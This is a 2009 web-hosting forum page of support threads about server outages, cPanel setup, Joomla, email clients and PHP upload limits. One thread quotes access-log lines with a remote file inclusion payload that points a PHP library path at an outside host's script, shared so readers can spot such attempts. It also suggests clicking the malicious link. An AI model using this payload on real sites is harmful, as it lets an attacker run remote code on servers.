Web Hosting Buzz Reseller and Dedicated Server Hosting Forums - Support

BuzzSG2 Server Problems

ToolOutfitters — Fri, 20 Nov 2009 21:36:33 GMT

Hi all,

I am recently new to this server but not new to WHB (hosting on another server in which I am extremely happy with). I see that this is the second time within 3 months that this problem has occurred. My question is what is causing this problem and what is being done to prevent it in the future?

I had posted a ticket to the helpdesk last week explaining that my page load times had been erratic but since it wasn't a problem at the exact time of the posting, it went unheeded.

If I had the server status on this account like I do on my other, I could find out if it is in fact a server issue at the time the problem occurred. Thank you for you time.

A message to Technical Support

f1f1f — Thu, 19 Nov 2009 19:22:36 GMT

I am surprised to close my site and stop me from doing that corrects the error
Very strange consume server resources Image

Please open the site to take the necessary measures

Thank you for this Dealing

Cpanel / Exim

cobro — Wed, 18 Nov 2009 15:17:26 GMT

Hi you all.

okey i am having a little problem with my server. Me and my friend we installed Cpanel on a fresh centos 5.4 and this server only has one ip address our isp only sell us one ip at the moment so we did the install and we got into trouble there with resolvers so we put opendns ip in primary dns and secondary and then it resolved wget -N http://layer1.cpanel.net/latest and we could install cpanel wuuhuu :) okey every thing is up except mail could this because of resolver not being right.. This is how we have it configured

is this the right setup for resolvers

Primary: 127.0.0.1
Secondary: Main server IP
Tertiary: Second ip for second nameserver

i have on my server configured it like this

Primary: My main ip address
Secondary: opendns< public reslover ip
Tertiary: opendns< public reslover ip

everything else works i think

Thank you all for your help

Joomla use high memory and server resource

ukhies — Wed, 18 Nov 2009 09:22:34 GMT

need help, how to reduce joomla server resource, CPU/Memory usage is too high.

99.9x% uptime at rs16? dream on!

huxley — Fri, 13 Nov 2009 03:51:31 GMT

What is up with the 99.9x% uptime guarantee? It's been at least the 4th time this year this server is down for several hours. its over 24hr now. Checking the Threads here it shows how long they have been down, if you check the uptime blog it shows 100% the entire year. WTF?
I'm about to look for another host due to the ongoing downtime on rs16. I can't do business like that, mu customers are getting upset and losing their customers and money. All I can give them is lousy excuses and have to refund their fees, not talking about customers that are leaving.
All I get from live support is that they are sorry. Have not had any refund or what so ever. They don't let me switch to another server without upgrading my account.
Trust me this sucks

Blog problem

dashti — Mon, 09 Nov 2009 16:03:46 GMT

Hello everyone...

I installed Blog in my website(Automatice database created), the first time went OK but I removed it just to fix some problems. And now iam trying to re-install blog again with Mailing list i had error. The problem need to be fixed in STEP 4

thanks

What a hack attempt looks like in your log files.

MyWebs — Mon, 09 Nov 2009 14:04:46 GMT

I noticed today a very suspecious entry while viewing my log files and thought I would share it here so others might know what sort of thing to look out for. Its a good idea imo to click the link to make sure it didn't work too if you ever spot something like this. I could be wrong about this though. :/

Host: 85.111.12.199

//?_PHPLIB[libdir]=http://jokoyuma.fileave.com/idsatu.txt???
Http Code: 200 Date: Nov 09 08:56:25 Http Version: HTTP/1.1 Size in Bytes: 9413
Referer: -
Agent: Mozilla/5.0

/Stats.php//?_PHPLIB[libdir]=http://jokoyuma.fileave.com/idsatu.txt???
Http Code: 200 Date: Nov 09 08:56:28 Http Version: HTTP/1.1 Size in Bytes: 9137
Referer: -
Agent: Mozilla/5.0

It didn't seem to work in this case but I did report this to www.fileave.com to get it removed from there because that file is quite obviously used for hacking if you was to have a look at it. And to the persons ISP as well. Sadly its in Turkey and I doubt they will do much. Guess I will see if they respond back to me.

When you look at your log files, you do do this ever so often, right? If you see something like:
//?_PHPLIB[libdir]=http://jokoyuma.fileave.com/idsatu.txt??? for a requested URL this should throw a red flag in your mind.

Thankfully WHB has good security in place and this hacking attempt failed. :)
I hope this helps other to know what sort of bad stuff to be on the look out for.
Thanks,
MyWebs

vhost can't connect

mediapackaging — Mon, 09 Nov 2009 03:03:14 GMT

http://www.asia-media.com.tw/ (Startup B)
this is our homepage,
the server can't connect,
it happens so often,
could you tell me what's wrong with it?

thanks.

Thunderbird and POP

littlelizard — Sat, 07 Nov 2009 13:49:39 GMT

I have kind of a weird thing going on. Could by something with Thunderbird, don't know.

I have two domains that I check mail for via TB. When I first start Thunderbird only one account will download - the rest I get the same "empty" error on. A perusal of TB's forums shows that the particular empty error is because the POP server cannot be found.

When I select each mail account and do a "get mail" everything downloads fine.

I flushed my DNS in case I had some caching going on there. Both domains had hosting switched from elsewhere to WHB after mail had been set up.

All pop accounts are set up as mail.mydomain.com with a port of 110. I use my ISP SMPT settings (no problem sending at all).

Any ideas?

Changing domains

choldgraf — Thu, 05 Nov 2009 15:01:19 GMT

Hello, I'd like to change the main domain associated with my servers...I've tried looking all over CPanel, but I haven't found anything along the lines of "account settings." How can I do this?

The current domain for my site is a .fm extension, and I want it to be another domain (that I already own) that has a .com extension.

Any ideas?

Thanks

Cookies not enabled - Joomla error on Server

usher — Thu, 05 Nov 2009 11:50:59 GMT

Hi WHB,

I'm using Joomla for one of my domains and it turns out, I installed without problems and was working properly until I get this message in wanting to connect "Database Error: Unable to connect to the database:Could not connect to MySQL". I reviewed ael configuration.php and apparently the data is all in order. Will the problem cookies disabled?

In phpmyadmin, I have a report that cookies are not enabled. As the asset?

Thank for reply

Jose

Outlook Email Problems

bmcc81 — Mon, 02 Nov 2009 18:32:02 GMT

Hi,

I can receive emails no problem, but I can't send them. Can someone tell me how to set up my emails for Outgoing?

Thanks,
bmcc81

Domain CPanels

mandude — Fri, 30 Oct 2009 21:32:56 GMT

Hi,
I am trying to figure out how to access my other domain cpanels. such as my root is sitea.com, I know my main cpanel login is sitea.com:2082 and login with normal details.
Once I create an addon domain, how do I access only that cpanel? Say I add on siteb.com with username:siteb and pw:password. siteb.com:2082 username siteb pw:password? because this doesnt work. Or is this something that has to be asked for from support and I can get it. Thanks

myname servers are ns100.whbdns.com and ns101.whbdns.com user thesecre
Thanks

Sites go down?

rhesus — Fri, 30 Oct 2009 19:01:45 GMT

Sites on my reseller account gone down.
I don't know name of reseller server but I remember RS14.
My reseller domain : kaint.net

php filesize limit problem with framework

YMe369 — Tue, 27 Oct 2009 11:27:26 GMT

I hope this is the correct place for asking this, but here goes anyway:

In an admin section on my site I am currently using a php.ini file to max the upload filesize to 20MB, the ini file contains the following:
upload_max_filesize = 20M ;
post_max_size = 20M ;

This works fine, as the script file is located in the folder containing the ini file.

While working on the new website, it now uses a custom framework with url redirecting (...com/controller/action/ instead of ...com/folder/file/).
I tried doing the same (adding the ini file to that main folder), and it works aswell.
Problem is that it works throughtout the entire site, I only need the upgraded filesize on 1 page/script... I dont want to have this available on other uplaod scripts where it's not specifically required.

I tried PHP's ini_set function on the 1 script, but that doesnt work, (in the past the ini file was the only working solution to the filesize limit).

I have no clue how to fix this other than what I already tried, and was hoping (if possible at all) someone might have some knowledge on how to approach this situation.
Many thanks in advance.

Regards,
Yme